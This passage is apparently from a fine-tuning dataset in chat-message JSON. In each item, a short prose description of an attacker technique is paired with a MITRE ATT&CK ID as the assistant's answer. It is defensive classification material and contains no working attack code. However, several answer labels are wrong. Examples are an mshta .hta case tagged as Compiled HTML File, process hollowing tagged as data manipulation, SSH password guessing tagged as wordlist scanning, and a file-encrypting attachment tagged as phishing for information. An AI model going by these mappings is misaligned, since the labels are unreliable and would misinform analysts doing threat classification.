                "content": "An attacker drops a .hta file on the victim machine and uses mshta to run it, achieving code execution through the System Binary Proxy Execution: Compiled HTML File technique."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest valid credentials from a compromised system and then reuse those credentials to log into other services without the victim’s knowledge."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses SharePoint's file sync client to sync a hidden folder containing stolen intellectual property to the attacker’s dropbox."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors develop custom X.509 certificates to encrypt their command‑and‑control traffic and bypass network inspections."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker harvested SSH private keys from a misconfigured S3 bucket that was publicly readable."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker accesses the GCP metadata server to obtain service account tokens without authentication."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group compromised an existing domain registrar account to create new domains for C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through abuse of the DYLD_FRAMEWORK_PATH variable, the adversary injects a malicious framework containing a compromised .dylib, leading to code execution when the framework is loaded by the target application."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using process hollowing, the adversary replaces the original code with malicious payloads, manipulating runtime data."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script collects Kerberos tickets from the local cache and reuses them for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit a misconfigured RDP service, sending crafted packets that allow them to execute commands on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised VPS is used as a pivot point to launch lateral movement to other cloud instances."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a QR code in a printed flyer that directs users to a malicious APK, which they are prompted to install on their Android device."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators design a file‑less ransomware sample for testing against endpoint defenses."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromised a Kubernetes node and used 'kubectl cp' combined with 'kubectl exec' to plant a backdoor inside a container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers staged exfiltrated data on a malicious web server hosted on a compromised domain."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a CPUID instruction and compares the vendor string to 'Microsoft HV' to detect a Hyper-V environment."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor registers a fake time provider DLL in the registry, causing the payload to execute each time the system updates its clock."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary delivered a Trojan via \"image.png.exe\", leveraging a double file extension to appear as an image file."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion installs a custom Netsh helper DLL that is automatically loaded, providing event‑triggered execution."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The persistence technique involves creating an Active Setup entry that runs a JavaScript file via wscript.exe during the Windows logon sequence."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers abuse the Winlogon helper DLL mechanism by adding their payload to the Winlogon.exe DLL search path."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employed Remote Desktop Protocol (RDP) services to establish a backdoor for later use."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee’s email account is used to distribute a malicious .lnk file to other staff, leading to the execution of a credential harvesting payload."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue binary is placed in a network share that is prioritized in the executable search order, leading the victim’s system to load the attacker's code during routine operations."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs PowerShell's Invoke‑Expression to run a base64‑encoded command that is never written to disk."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses WHOIS database searches to verify domain ownership before deploying a supply chain compromise."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker places a compromised shared library (.so) on the system and modifies environment variables so that the vulnerable application loads it at runtime."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a DCSync command with Mimikatz to synchronize and retrieve the password hashes of all domain accounts from the target DC."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the user's network logon script to include a PowerShell command that downloads and runs a payload."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors drop a malicious MSI and trigger msiexec to silently run their code, exploiting the system binary for proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries repurpose publicly available exploit kits and modify them to target specific unpatched applications in the victim network."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a PowerShell script to download and execute a backdoor payload from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain password hashes stored in the registry's HKLM\\SECURITY\\Cache directory to later reuse them."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation, the malicious code encrypts all .docx, .xlsx, and .pdf files on the machine and displays a ransom banner."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group encodes exfiltrated data into image files, embedding small amounts of data per image to stay below size limits on outbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses LDAP queries to retrieve all domain groups and associated users."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion adds a shortcut (.lnk) to the Startup folder that points to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker deploys an AWS ECS task definition with a cron expression to run ransomware at midnight."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign used polymorphic shellcode that re-encrypts itself each time it runs, making signature‑based detection difficult."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involves a low-and-slow password spraying approach targeting a SaaS platform's login page."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a Remote Desktop Protocol reverse shell, tunneling traffic through port 3389 to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent code is stored in a hidden file created with the \"CreateFile\" API using the FILE_ATTRIBUTE_HIDDEN flag."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group queries proprietary threat intel feeds from security vendors to identify specific defensive technologies used by the target."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account called the Azure ARM API to spin up virtual machines with pre‑installed backdoors and execute startup scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compiled list of common passwords, the attacker attempts credential guessing on the SSH service."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor employs a whaling attack to target high-level executives or other important individuals within an organization in order to trick them into revealing sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries apply a custom uuencoding variant to compress and encode stolen data before exfiltration via FTP."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs a JavaScript decoder to transform obfuscated code fragments into readable JavaScript before execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised binary is dropped into memory of a trusted process, bypassing disk writes, by employing portable executable injection."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the network provider library to inject credentials into the authentication flow, allowing credential theft."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code changes the Registry's SafeBoot parameters to force the system to boot into Safe Mode, allowing the malware to run without detection."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged the Windows InstallUtil utility to bypass application whitelisting and run a rogue payload."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the Active Directory schema via PowerShell to insert a custom user object with domain privileges."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the attacker used a script to reset timestamps on log files, making recent malicious activity appear older."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker duplicated confidential design schematics onto a series of CDs and left them in a shared printer tray for collection."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a malicious PowerPoint presentation as an attachment, leveraging a zero‑day vulnerability to execute code without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the Active Setup registry keys to launch a hidden executable when the user logs on to the system."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor edits a launchd plist to include a command line for privilege escalation and reloads it with launchctl."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Incident response logs show usage of 'cmd.exe /c ping -n 5 127.0.0.1' as a timing delay technique."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using public code repositories, the adversary looks for leaked configuration files that reveal internal network architecture."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor disables PowerShell script block logging to stop the system from flagging suspicious indicators."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy trojan utilizes the 'ssh' command on a compromised Linux host to forward ports and execute remote commands."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the KeePass API to programmatically retrieve all stored entries."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script aggregates logs and places the aggregated log file in the /var/tmp/stage folder for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malign actor inspects the target's blog comments and forum posts to collect usernames and possible credentials."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor introduces a malicious shared module into the PATH environment variable, causing legitimate programs that search the PATH to load the attacker's code first."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators establish a Snapchat account using a forged passport scan to appear legitimate while sending phishing snaps to target demographics."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension captures time-based one-time passwords (TOTP) generated by an authenticator app, enabling the attacker to reuse them for login."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan uses a compromised external S3 bucket as a staging repository."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware rewrites the VDSO's sysenter handler to divert system calls to a hidden payload, achieving process injection."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware includes a module that dumps the SAM hive to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a targeted email with an attached .js file disguised as a security report, which executes a payload that encrypts files."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the misconfigured Podman API that allows anonymous access, the attacker retrieves stored container registry authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑espionage group corrupts the security agent's binary by injecting malicious code, rendering it inoperable."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious payload spawns a command prompt with 'start cmd.exe' to interact with the user."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
